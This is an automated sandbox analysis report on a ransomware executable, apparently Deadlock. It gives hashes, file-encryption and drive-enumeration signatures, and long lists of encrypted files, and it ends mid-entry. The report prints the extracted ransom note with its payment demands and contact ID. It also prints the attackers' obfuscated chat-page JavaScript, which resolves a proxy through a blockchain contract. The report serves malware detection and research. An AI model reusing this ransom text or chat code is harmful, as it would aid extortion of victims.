Analysis
- max time kernel
38s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/06/2026, 08:37
Behavioral task
behavioral1
Sample
c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
Resource
win11ltsc2024-20260618-en
General
- Target c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe
- Size 257KB
- Sample260626-kjg2laax4n
- SHA256 c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c
- MD5 4374eb7807fbcb767ae3a6202b4dd8f8
- SHA1 2204d64b82765db4598714fe8bc6e71a24958a7f
- SHA512 52eeddc5804f61c0b6a46c4d271dcbc3693f2ef9ddcb4be7e927773994c8b1f007246310e81bb1170d0e1adbbdde668752e191d8c2b7744b0d4c5dcc117efb65
- SSDEEP 6144:pLO0NQZAKgQg1fQDKGK05DZBHNZ94p9OeyEMlne:pLO0NQSKJJtK0tfNZuLyEM
- TLSH T13C447D41FDC65CF5D58B0CBC242E536AC638A8405736C993E7A0AE41D8FFF31A5AA50A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
\Device\HarddiskVolume3\HOW_RECOVER.DF1635.txt
- # Your personal ID: DF1635 # Your company's network is attacked and the entire system is encrypted. # We have downloaded all the company's confidential data. # If you want your data fully decrypted and the files we stole removed from our source, you will have to pay a fee. # We will also be able to provide a security report and explain how we did it to get in. # There is only one way to get your files back: 1. Contact us, open RECOVERY_CHAT.DF1635.HTML via your browser or download Session messenger https://getsession.org/ 2. Our contacts (Session id: 05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78) 3. Send us 2-3 any encrypted your files and your personal ID 4. We will decrypt few file for test (maximum file size - 5 MB), its guarantee what we can decrypt your files 5. Pay 6. We send for you decryptor software # After payment you will receive. 1. Decryption tool for all devices 2. Complete list of files taken from the network. 3. Proof that all your data has been deleted. 4. Information about how we got into the network. 5. Security recommendations to stop future attacks. 6. Promise that we will not attack you again in the future. 7. Guarantee that we will forget about this incident. # We accept Bitcoin/Monero # Attention! Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Contact information: 05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78
-
https://getsession.org/
Extracted
-
C:\Users\Admin\AppData\Local\Microsoft\PlayReady\Internet Explorer\Desktop\RECOVERY_CHAT.DF1635.html
- <title>Deadlock - data is safe, sure</title><script src=https://cdn.jsdelivr.net/npm/protobufjs/dist/protobuf.min.js></script><script src=https://cdnjs.cloudflare.com/ajax/libs/js-nacl/1.4.0/nacl_factory.js></script><script>var reciver={address:"05084f9b14b02f4ffa97795a60ab1fafaf5128e3259c75459aaaeaebc80c14da78"};reciver.pk=hexToUint8Array(reciver.address.slice(2));var uid="DF1635",contract="0x8EF7c3e531d871D3B9D559722DE77EB1dEc19dAe",rpcPos=0,rpcList="polygon-bor-rpc.publicnode.com,polygon.drpc.org,polygon-pokt.nodies.app,polygon-rpc.com,1rpc.io/matic,polygon.meowrpc.com".split(","),proxy=!1,private=!1,snodes=!1,swarms=!1,swarms_rec=!1,is_first=!1,messages={},nacl={};function getProxy(){if(window.nacl_factory)return proxy?proxy?void sendProxy("ping",{},(function(e,t){if(e||!t||"ok"!=t)return proxy=!1,badAlert("Error: Ping request return reject"),stage("n1"),setTimeout(getProxy,5e3);stage(private?"n3":"n2"),setTimeout(getProxy,4e4)}),proxy):(stage("n1"),setTimeout(getProxy,2e3)):(stage("n1"),void getContract((function(e){return proxy=e,getProxy()}),(function(e){return setTimeout(getProxy,1e3)})));stage("n4")}function sendProxy(e,t,r,a=undefined){var n=!1;function s(e,t){n||(n=!0,r(e,t))}if(!proxy&&!a)return badAlert("Error: Can't find proxy"),void s(!1);try{var i=new XMLHttpRequest;i.open("POST",(a||proxy)+"?method="+e,!0),i.setRequestHeader("Content-Type","application/json"),i.timeout=12e3,i.ontimeout=function(){s(!0)},i.onreadystatechange=function(){if(4===this.readyState)if(this.status>=200)try{var e=JSON.parse(this.responseText);e.status?s(!1,e.data):(s(!0),e.mess&&e.mess.length>0&&badAlert(e.mess))}catch(t){console.log(t),s(!0),badAlert("Wait: Parse undefined")}else s(!0),badAlert("Wait: Error on request")},i.send(JSON.stringify(t))}catch(o){s(!0),badAlert("Wait: Answer undefined")}}function getContract(e,t){rpcList[rpcPos]||(rpcPos=0);try{var r=new XMLHttpRequest;r.open("POST","https://"+rpcList[rpcPos],!0),r.setRequestHeader("Content-Type","application/json"),r.onreadystatechange=function(){if(r.readyState===XMLHttpRequest.DONE)if(200===r.status){var a=JSON.parse(r.responseText)[1].result.replace("0x",""),n=a.indexOf("68747470");if(-1==n)return rpcPos++,void t();a=(a=a.slice(n)).replace(/0+$/,"")+"0",e(decodeURIComponent(a.replace(/[0-9a-f]{2}/g,"%$&")))}else rpcPos++,t()};var a=JSON.stringify([{method:"eth_chainId",params:[],id:1,jsonrpc:"2.0"},{method:"eth_call",params:[{to:contract,data:"0x933a9ce8"},"latest"],id:2,jsonrpc:"2.0"}]);r.send(a)}catch(n){rpcPos++,t()}}function updateMessages(){if(0!=messages.length){var e=document.getElementsByTagName("ov")[0],t="",r=Object.entries(messages);for(var a of(r.sort(((e,t)=>e[1].time-t[1].time)),r)){var n=a[1],s=n.data,i=n.time,o=new Date(i),c=o.getHours().toString().padStart(2,"0")+":"+o.getMinutes().toString().padStart(2,"0")+":"+o.getSeconds().toString().padStart(2,"0");n.from?t+="<sx><k>Support: <ls>"+c+"</ls></k><me>"+s+"</me></sx>":t+="<yx><k>You: <ls>"+c+"</ls></k><me>"+s+"</me></yx>"}e.innerHTML=t,e.scrollTop=e.scrollHeight}}function sendFirstMessage(){is_first||(is_first=!0,sendMessage("["+uid+"|Open]",!0))}function getChat(){var e=document.getElementsByTagName("lo")[0].style;if(private&&proxy){if(!snodes)return void sendProxy("get_snodes",{},(function(e,t){e?setTimeout(getChat,500):(snodes=t,getChat())}));if(!swarms)return void sendProxy("get_swarms",{pubkey:private.address,snode:snodes[snodes.length*Math.random()|0]},(function(e,t){e||(t&&t.snodes&&0!=t.snodes.length?swarms=t.snodes:badAlert("Wait: Empty data")),getChat()}));if(!swarms_rec)return void sendProxy("get_swarms",{pubkey:reciver.address,snode:snodes[snodes.length*Math.random()|0]},(function(e,t){e||(t&&t.snodes&&0!=t.snodes.length?swarms_rec=t.snodes:badAlert("Wait: Empty data")),getChat()}));var t=Date.now(),r=(new TextEncoder).encode("retrieve"+t),a=nacl.crypto_sign_detached(r,private.sk_ed25519),n={pubkey:private.address,signature:bufferToBase64(a),pubkey_ed25519:Uint8ArrayToHex(private.pk_ed25519),timestamp:t};sendProxy("poll",{pubkey:private.address,signatureBuilt:n,swarm:swarms[swarms.length*Math.random()|0]},(function(t,r){if(!t&&r&&r.messages){if(0!==r.messages.length){var a=!1;for(var n of r.messages)if(!messages[n.hash]){var s=decodeMessage(n);if(s&&s.dataMessage){var i=s.dataMessage;if(!i.body)continue;if(i.body=="["+uid+"|Open]"){is_first=!0;continue}var o=!(i.syncTarget&&i.syncTarget==reciver.address);messages[n.hash]={from:o,data:i.body.replace("["+uid+"] ",""),time:n.timestamp},a=!0}}a&&updateMessages(),sendFirstMessage()}else sendFirstMessage();e.visibility="hidden",setTimeout(getChat,8e3)}else setTimeout(getChat,3e3)}))}else setTimeout(getChat,2e3)}function decodeMessage(e){var t=base64ToBytesArr(e.data),r=(e.hash,decodeMessData(t));if(!r)return!1;if(!r.type||1!=r.type||!r.request||!r.request.body)return!1;var a=decodeMessDataEnvelope(r.request.body);if(!a)return!1;if(!(a.content&&a.content.length>0))return!1;var n=a.content;try{var s=nacl.crypto_box_seal_open(n,private.pk,private.sk),i=s.byteLength-64,o=(s.subarray(i),s.byteLength-96),c=s.byteLength-64,d=(s.subarray(o,c),s.byteLength-96),u=removeMessagePadding(s.subarray(0,d));return!!u&&decodePlainText(u)}catch(p){return!1}}function removeMessagePadding(e){for(var t=e.length-1;t>=0;t-=1){if(128===e[t]){var r=new Uint8Array(t);return r.set(e.subarray(0,t)),r}if(0!==e[t])return e}return!1}function AttachmentPointerdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.fixed64();break;case 2:r.contentType=e.string();break;case 3:r.key=e.bytes();break;case 4:r.size=e.uint32();break;case 6:r.digest=e.bytes();break;case 7:r.fileName=e.string();break;case 8:r.flags=e.uint32();break;case 9:r.width=e.uint32();break;case 10:r.height=e.uint32();break;case 11:r.caption=e.string();break;case 101:r.url=e.string();break;default:e.skipType(7&n)}}return r}function GroupContextdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.bytes();break;case 2:r.type=e.int32();break;case 3:r.name=e.string();break;case 4:r.members&&r.members.length||(r.members=[]),r.members.push(e.string());break;case 5:r.avatar=AttachmentPointerdecode(e,e.uint32());break;case 6:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.string());break;default:e.skipType(7&n)}}return r}function decodeQuote(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.uint64();break;case 2:r.author=e.string();break;case 3:r.text=e.string();break;case 4:r.attachments&&r.attachments.length||(r.attachments=[]),r.attachments.push(QuotedAttachmentdecode(e,e.uint32()));break;default:e.skipType(7&n)}}return r}function QuotedAttachmentdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.contentType=e.string();break;case 2:r.fileName=e.string();break;case 3:r.thumbnail=AttachmentPointerdecode(e,e.uint32());break;default:e.skipType(7&n)}}return r}let abc="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";function base64ToBytesArr(e){let t=[...abc],r=[];for(let a=0;a<e.length/4;a++){let n=[...e.slice(4*a,4*a+4)].map((e=>t.indexOf(e).toString(2).padStart(6,0))).join("").match(/.{1,8}/g).map((e=>+("0b"+e)));r.push(...n.slice(0,3-("="==e[4*a+2])-("="==e[4*a+3])))}return r}function bufferToBase64(e){const t=e=>e.toString(2).padStart(8,0),r=e.length;let a="";for(let n=0;n<=(r-1)/3;n++){let s=3*n+1>=r,i=3*n+2>=r;a+=(t(e[3*n])+t(s?0:e[3*n+1])+t(i?0:e[3*n+2])).match(/.{1,6}/g).map(((e,t)=>3==t&&i||2==t&&s?"=":abc[+("0b"+e)])).join("")}return a}function DataMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.body=e.string();break;case 2:r.attachments&&r.attachments.length||(r.attachments=[]),r.attachments.push(AttachmentPointerdecode(e,e.uint32()));break;case 3:r.group=GroupContextdecode(e,e.uint32());break;case 4:r.flags=e.uint32();break;case 5:r.expireTimer=e.uint32();break;case 6:r.profileKey=e.bytes();break;case 7:r.timestamp=e.uint64();break;case 8:r.quote=decodeQuote(e,e.uint32());break;case 10:r.preview&&r.preview.length||(r.preview=[]),r.preview.push(Previewdecode(e,e.uint32()));break;case 11:r.reaction=Reactiondecode(e,e.uint32());break;case 101:r.profile=LokiProfiledecode(e,e.uint32());break;case 102:r.openGroupInvitation=OpenGroupInvitationdecode(e,e.uint32());break;case 104:r.closedGroupControlMessage=ClosedGroupControlMessagedecode(e,e.uint32());break;case 105:r.syncTarget=e.string();break;case 106:r.blocksCommunityMessageRequests=e.bool();break;default:e.skipType(7&n)}}return r}function OpenGroupInvitationdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.url=e.string();break;case 3:r.name=e.string();break;default:e.skipType(7&n)}}return r}function Reactiondecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.id=e.uint64();break;case 2:r.author=e.string();break;case 3:r.emoji=e.string();break;case 4:r.action=e.int32();break;default:e.skipType(7&n)}}return r}function Previewdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.url=e.string();break;case 2:r.title=e.string();break;case 3:r.image=AttachmentPointerdecode(e,e.uint32());break;default:e.skipType(7&n)}}return r}function ClosedGroupControlMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:r.publicKey=e.bytes();break;case 3:r.name=e.string();break;case 4:r.encryptionKeyPair=KeyPairdecode(e,e.uint32());break;case 5:r.members&&r.members.length||(r.members=[]),r.members.push(e.bytes());break;case 6:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.bytes());break;case 7:r.wrappers&&r.wrappers.length||(r.wrappers=[]),r.wrappers.push(KeyPairWrapperdecode(e,e.uint32()));break;case 8:r.expirationTimer=e.uint32();break;default:e.skipType(7&n)}}return r}function KeyPairWrapperdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.encryptedKeyPair=e.bytes();break;default:e.skipType(7&n)}}return r}function CallMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:r.sdps&&r.sdps.length||(r.sdps=[]),r.sdps.push(e.string());break;case 3:if(r.sdpMLineIndexes&&r.sdpMLineIndexes.length||(r.sdpMLineIndexes=[]),2==(7&n))for(var s=e.uint32()+e.pos;e.pos<s;)r.sdpMLineIndexes.push(e.uint32());else r.sdpMLineIndexes.push(e.uint32());break;case 4:r.sdpMids&&r.sdpMids.length||(r.sdpMids=[]),r.sdpMids.push(e.string());break;case 5:r.uuid=e.string();break;default:e.skipType(7&n)}}return r}function Unsenddecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.timestamp=e.uint64();break;case 2:r.author=e.string();break;default:e.skipType(7&n)}}return r}function ReceiptMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.type=e.int32();break;case 2:if(r.timestamp&&r.timestamp.length||(r.timestamp=[]),2==(7&n))for(var s=e.uint32()+e.pos;e.pos<s;)r.timestamp.push(e.uint64());else r.timestamp.push(e.uint64());break;default:e.skipType(7&n)}}return r}function TypingMessagedecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.timestamp=e.uint64();break;case 2:r.action=e.int32();break;default:e.skipType(7&n)}}return r}function KeyPairdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.privateKey=e.bytes();break;default:e.skipType(7&n)}}return r}function ClosedGroupdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.name=e.string();break;case 3:r.encryptionKeyPair=KeyPairdecode(e,e.uint32());break;case 4:r.members&&r.members.length||(r.members=[]),r.members.push(e.bytes());break;case 5:r.admins&&r.admins.length||(r.admins=[]),r.admins.push(e.bytes());break;default:e.skipType(7&n)}}return r}function ConfigurationMessagedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.closedGroups&&a.closedGroups.length||(a.closedGroups=[]),a.closedGroups.push(ClosedGroupdecode(e,e.uint32()));break;case 2:a.openGroups&&a.openGroups.length||(a.openGroups=[]),a.openGroups.push(e.string());break;case 3:a.displayName=e.string();break;case 4:a.profilePicture=e.string();break;case 5:a.profileKey=e.bytes();break;case 6:a.contacts&&a.contacts.length||(a.contacts=[]),a.contacts.push(Contactdecode(e,e.uint32()));break;default:e.skipType(7&n)}}return a}function Contactdecode(e,t){for(var r={},a=e.pos+t;e.pos<a;){var n=e.uint32();switch(n>>>3){case 1:r.publicKey=e.bytes();break;case 2:r.name=e.string();break;case 3:r.profilePicture=e.string();break;case 4:r.profileKey=e.bytes();break;case 5:r.isApproved=e.bool();break;case 6:r.isBlocked=e.bool();break;case 7:r.didApproveMe=e.bool();break;default:e.skipType(7&n)}}return r}function DataExtractionNotificationdecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.type=e.int32();break;case 2:a.timestamp=e.uint64();break;default:e.skipType(7&n)}}return a}function MessageRequestResponsedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.isApproved=e.bool();break;case 2:a.profileKey=e.bytes();break;case 3:a.profile=LokiProfiledecode(e,e.uint32());break;default:e.skipType(7&n)}}return a}function LokiProfiledecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.displayName=e.string();break;case 2:a.profilePicture=e.string();break;default:e.skipType(7&n)}}return a}function SharedConfigMessagedecode(e,t){for(var r=e.pos+t,a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.kind=e.int32();break;case 2:a.seqno=e.int64();break;case 3:a.data=e.bytes();break;default:e.skipType(7&n)}}return a}function decodePlainText(e){try{var t=e.length;e=protobuf.Reader.create(e);for(var r={};e.pos<t;){var a=e.uint32();switch(a>>>3){case 1:r.dataMessage=DataMessagedecode(e,e.uint32());break;case 3:r.callMessage=CallMessagedecode(e,e.uint32());break;case 5:r.receiptMessage=ReceiptMessagedecode(e,e.uint32());break;case 6:r.typingMessage=TypingMessagedecode(e,e.uint32());break;case 7:r.configurationMessage=ConfigurationMessagedecode(e,e.uint32());break;case 8:r.dataExtractionNotification=DataExtractionNotificationdecode(e,e.uint32());break;case 9:r.unsendMessage=Unsenddecode(e,e.uint32());break;case 10:r.messageRequestResponse=MessageRequestResponsedecode(e,e.uint32());break;case 11:r.sharedConfigMessage=SharedConfigMessagedecode(e,e.uint32());break;case 12:r.expirationType=e.int32();break;case 13:r.expirationTimer=e.uint32();break;default:e.skipType(7&a)}}return r}catch(n){return!1}}function decodeMessDataEnvelope(e){try{var t=e.length;e=protobuf.Reader.create(e);for(var r={};e.pos<t;){var a=e.uint32();switch(a>>>3){case 1:r.type=e.int32();break;case 2:r.source=e.string();break;case 5:r.timestamp=e.uint64();break;case 8:r.content=e.bytes();break;default:e.skipType(7&a)}}return!(!r.type||!r.timestamp)&&r}catch(n){return!1}}function decodeMessData(e){try{for(var t=protobuf.Reader.create(e),r={},a=e.length;t.pos<a;){var n=t.uint32();switch(n>>>3){case 1:r.type=t.int32();break;case 2:r.request=decodeMessDataFull(t,t.uint32());break;default:t.skipType(7&n)}}return!(!r.type||!r.request)&&r}catch(s){return!1}}function decodeMessDataFull(e,t=undefined){try{var r;t?r=e.pos+t:(r=e.length,e=protobuf.Reader.create(e));for(var a={};e.pos<r;){var n=e.uint32();switch(n>>>3){case 1:a.verb=e.string();break;case 2:a.path=e.string();break;case 3:a.body=e.bytes();break;case 5:a.headers&&a.headers.length||(a.headers=[]),a.headers.push(e.string());break;case 4:a.id=e.uint64();break;default:e.skipType(7&n)}}return a}catch(s){return!1}}function handlerInput(e){var t=e.target.value;/[^ -~]/.test(t)&&(e.target.value=t.replace(/[^\x00-\x7F]/g,""))}function handlerLogin(e){var t=document.getElementById("er1"),r=document.getElementById("login"),a=document.getElementById("pass"),n=r.value,s=a.value;if(t.innerHTML="",n.length<=5||s.length<=5)t.innerHTML="Login and Password must be more then 5 symbols";else{for(var i=n+"_"+uid+"_"+s,o=new Uint8Array(i.length),c=0;c<i.length;c++)o[c]=i.charCodeAt(c);window.nacl_factory.instantiate((function(e){nacl=e;var t=e.crypto_hash(o).slice(0,16),r=new Uint8Array(32);r.set(t);var a=e.cry
Signatures
- Renames multiple (3996) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened (read-only) \??\Z: c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened (read-only) \??\Y: c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\Java\jdk-1.8\jre\legal\jdk\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\OneNoteFreeR_Bypass-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_COL.HXT.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\Edit.White.png.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_rename_18.svg.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN010.XML.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Cultures\OFFICE.ODF.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\COPYING.LGPLv2.1.txt.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-100.png.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\BREEZE.WAV.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\vreg\dcf.x-none.msi.16.x-none.vreg.dat.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Mozilla Firefox\plugin-container.exe.sig.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription1-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusinessR_Trial-ul-oob.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\[email protected] c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\rt.jar.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\browse_window.html.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProXC2RVL_MAKC2R-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPointR_Retail-pl.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_Grace-ul-oob.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\AXIS\AXIS.INF.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_output\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ExcelR_OEM_Perp-ul-phn.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_OEM_Perp-ul-phn.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-white_scale-80.png.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_checkbox_partialselected-default_18.svg.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\Java\jre-1.8\bin\server\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_Retail-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProCO365R_Subscription-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\QuickStyles\minimalist.dotx.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA\libcurl64.dlla.manifest.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\HOW_RECOVER.DF1635.txt c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress-indeterminate.gif.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\nashorn.jar.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green.xml.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_OEM_Perp-ppd.xrm-ms.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_F_COL.HXK.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\Custom.propdesc.DF1635.dlock c9cc95ff8f2998229394dfd31c2bd6b723e826a3ca5e008d2b5be19ba419ae2c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader 